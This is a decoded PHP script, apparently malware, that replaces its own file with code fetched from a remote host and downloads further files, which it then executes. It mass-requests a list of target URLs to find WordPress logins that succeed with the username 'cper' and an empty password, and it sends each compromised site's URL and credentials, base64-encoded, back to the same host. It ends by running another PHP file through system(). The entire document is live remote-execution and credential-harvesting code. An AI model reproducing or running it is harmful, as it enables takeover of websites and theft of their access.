PHP Decode

<?php 
ini_set('max_execution_time',0); 
ini_set('memory_limit', '512M'); 
date_default_timezone_set('Europe/Kiev'); 
function http_get_contents($url) { 
//	$codex = @file_get_contents($url); 
//	if (empty($codex)) { 
		$ch = curl_init(); 
		curl_setopt($ch, CURLOPT_URL, $url); 
//		curl_setopt($ch, CURLOPT_HEADER, true); 
		curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1); 
		curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); 
		curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0); 
		curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0); 
		curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 30); 
		curl_setopt($ch, CURLOPT_TIMEOUT, 30); 
		$urlPage = curl_exec($ch); 
		curl_close($ch); 
		return($urlPage); 
//	} 
//	else { 
//		return $codex; 
//	} 
} 
file_put_contents(basename(__FILE__),http_get_contents('http://mustang.lamasuzan.com.np/st/get_cms3cper.txt')); 
file_put_contents('list.txt',http_get_contents('http://mustang.lamasuzan.com.np/st/list.txt')); 
file_put_contents('roll.txt',http_get_contents('http://mustang.lamasuzan.com.np/st/roll.txt')); 
file_put_contents('angry.txt',http_get_contents('http://mustang.lamasuzan.com.np/st/angry.txt')); 
require_once('roll.txt'); 
require_once('angry.txt'); 
file_put_contents('get_cms3cper.txt', http_get_contents('http://mustang.lamasuzan.com.np/get_cms3cper.php')); 
function callback_function($response, $info, $request) { 
	if (preg_match('~(Set-Cookie: wordpress_logged_in_)~i', $response, $out)) { 
		if (!preg_match('~(expires=Thu, 01-Jan-1970 00:00)~i', $response, $out)) { 
			$login = "cper"; 
			$password = ""; 
			echo PHP_EOL . " ===================== ok: =====================  " . $info['url'] . " - " . $login . ":" . $password . "" . PHP_EOL; 
			http_get_contents('http://mustang.lamasuzan.com.np/cms3.php?we='.base64_encode($info['url']).'&fe='.base64_encode('inc.class.cms.3.cper.php').'&cm='.base64_encode('3').'&sl='.base64_encode($login).'&sp='.base64_encode($password)); 
			goto end; 
		} 
	}	 
	end: 
	return; 
} 
$AC = new AngryCurl('callback_function'); 
//$AC->init_console(); 
$AC->load_useragent_list('list.txt'); 
$f = fopen('get_cms3cper.txt', 'r'); 
while(!feof($f)) { 
	$url = trim(fgets($f)); 
	$AC->get($url); 
} 
$AC->execute(50); 
unlink('get_cms3cper.txt'); 
system('php inc.class.cms.3.cper.php'); 
?>